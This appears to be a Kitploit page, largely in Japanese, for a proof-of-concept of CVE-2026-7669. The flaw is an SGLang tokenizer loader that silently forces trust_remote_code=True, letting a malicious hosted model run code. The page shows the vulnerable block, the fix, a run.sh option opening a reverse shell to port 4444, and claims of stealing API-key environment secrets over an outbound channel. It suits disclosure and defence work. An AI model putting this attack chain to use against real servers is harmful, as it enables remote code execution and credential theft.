CVE-2026-7669-PoC — PoC for CVE-2026-7669: SGLangのサイレントなtrust_remote_codeオーバーライド -> RCE | Kitploit

if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
    tokenizer = AutoTokenizer.from_pretrained(
        tokenizer_name,
        *args,
        trust_remote_code=True,
        tokenizer_revision=tokenizer_revision,
        clean_up_tokenization_spaces=False,
        **kwargs,
    )

./run.sh --server         TokenizerManager.__init__経由で再現
./run.sh --versions       transformers 5.0..5.5 マトリックス
./run.sh --revshell IP    オプトインのリバースシェルをIP:4444へ
./run.sh --rebuild        --no-cacheリビルドを強制
./run.sh --copy-ledger ./ledger.json

Phase 1   transformers + False             return=TokenizersBackend     exec=False
Phase 1b  PATCHED sglang + False           return=TokenizersBackend     exec=False
Phase 2   REAL sglang + False              return=MaliciousTokenizer    exec=True
Phase 2b  PATCHED sglang + True            return=MaliciousTokenizer    exec=True
Phase 3   REAL sglang + False (slow)       return=MaliciousTokenizer    exec=True

Claims:  29 PASS  /  0 FAIL  /  0 N/A  /  29 TOTAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 High

*** VULNERABILITY CONFIRMED -- ALL CLAIMS BACKED ***

コンポーネント	固定値
Python	`3.12.7-slim-bookworm`
transformers	`5.3.0`
SGLangコミット	`fae90abf6e15aaffb6fd924a439253674771487d`
`hf_transformers_utils.py` SHA256	`9e798eabf2451630bd5939aa9aa65ec397a769157f26fb905057c17ee938497e`
脆弱なブロック(898-909行目) SHA256	`109fe46208631b80a58755799b44339e19b6902ffe76d68f18b31a59e26b2ece`

メトリック	値	根拠
AV	N	トリガーファイル(`config.json`、`tokenizer_config.json`、`tokenizer.json`、`tokenizer.py`)は標準的なHF Hubの`auto_map`レイアウトです。これらを提供する任意のレジストリがこのバグに到達します。
AC	L	`PHASE-2`は単一実行で決定的に発火します。すべてのトリガー条件は攻撃者が作成したコンテンツです。`PRE-1..7`は環境フィンガープリンティングがないことを確認します。
PR	N	無料のHF Hubアップロードで十分です。トリガーチェーン内の何も被害者側の既存の特権を必要としません。
UI	R	トリガーは、オペレーター(またはオペレーター設定のパイプライン)が`launch_server --model-path attacker/model`を呼び出した場合にのみ発火します。
S	U	すべての`SEV-*`クレームはSGLangプロセスの権限内で実行されます。サンドボックスやコンテナエスケープはありません。
C	H	`SEV-secrets`はプロセス環境から`HF_TOKEN`、`OPENAI_API_KEY`、`ANTHROPIC_API_KEY`、`GPG_KEY`を取得します。`SEV-network`は外向きのTCP流出チャネルを開きます。
I	H	`SEV-write-sglang`、`SEV-write-launchsrv`、`SEV-write-model`、`SEV-pip`は、異なる機密ロケーションにある4つの独立した完全性プリミティブです。
A	H	RCEから推定されます。`SEV-pip`は任意のサブプロセス実行を証明しており、これは自己DoSに必要なものと同じプリミティブです。PoCは自己キルを直接デモしません。

グループ	クレーム
`PRE-1..7`	固定バージョン(Python、transformers、ファイルSHA256、行数、上書きブロックSHA256、デフォルトの`trust_remote_code`、ソースパス)
`SRC-1`	インポートされた`get_tokenizer`ソースに上書きが含まれる
`PHASE-1`	transformersが`trust_remote_code=False`を直接尊重する
`PHASE-1b`、`PHASE-1b-mech`	898-909行目を除いたSGLangが`False`を尊重し、`from_pretrained`呼び出しを正確に1回行う
`PHASE-2`、`PHASE-2-mech`、`PHASE-2-silent`	実際のSGLangが`tokenizer.py`を実行する。トレースは呼び出し0(`False`)->`TokenizersBackend`、呼び出し1(`True`)->`MaliciousTokenizer`を示す。`trust_remote_code`に言及するログ行はない(ルートおよび`sglang`ロガーでのDEBUGキャプチャ)。
`PHASE-2b`	パッチ適用済み+明示的な`True`でもロードされる(パッチは外科的)
`PHASE-3-rce`、`PHASE-3-via-override`	スロートークナイザーモードも同じ898-909パスを通じてRCEに到達する
`SEV-write-sglang`、`SEV-write-launchsrv`、`SEV-write-model`	永続化および横展開プリミティブ
`SEV-network`	外向きTCP流出チャネル
`SEV-secrets`	環境変数シークレットの取得
`SEV-pip`	任意のpipインストール(サプライチェーン)
`SEV-root`	lmsysorgイメージ内でrootとして実行されるプロセス
`AUTH-1`	デフォルトのServerArgs(`api_key=None`、`admin_api_key=None`)により、すべての`ADMIN_OPTIONAL`エンドポイントが認証なしで到達可能になる
`AUTH-2`、`AUTH-3`	ミドルウェアが設定時に認証なしをブロックし、有効なベアラーを受け入れることを確認するポジティブコントロール
`CHAIN-1`	起動後にを呼び出すHTTPエンドポイントハンドラーはない(に呼び出しサイトがゼロ)

attacker/model/
  config.json             model_type "gpt2" (transformersのTOKENIZER_MAPPING_NAMES内)
  tokenizer_config.json   カスタムtokenizer_class + auto_map -> tokenizer.py
  tokenizer.json          有効なBPEトークナイザー(最初のロードが成功するように)
  tokenizer.py            ペイロード
  model.safetensors       ダミーウェイト

if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
    logger.warning(
        "Model %s requires a custom tokenizer but trust_remote_code=False. "
        "Returning generic TokenizersBackend without executing tokenizer.py. "
        "Restart with --trust-remote-code if the custom code is required.",
        tokenizer_name,
    )

get_tokenizer()

http_server.py

コード	意味
0	確認済み
1	トリガーされず
2	誤検知(transformers自体が`tokenizer.py`を実行した、バグは上流にある)
3	固定バージョンの事前チェックに失敗

CVE-2026-7669-PoC

人気

脆弱なコード

再現

判定

固定環境

CVSSの根拠

クレーム

メカニズム

修正

開示

クレジット

参考文献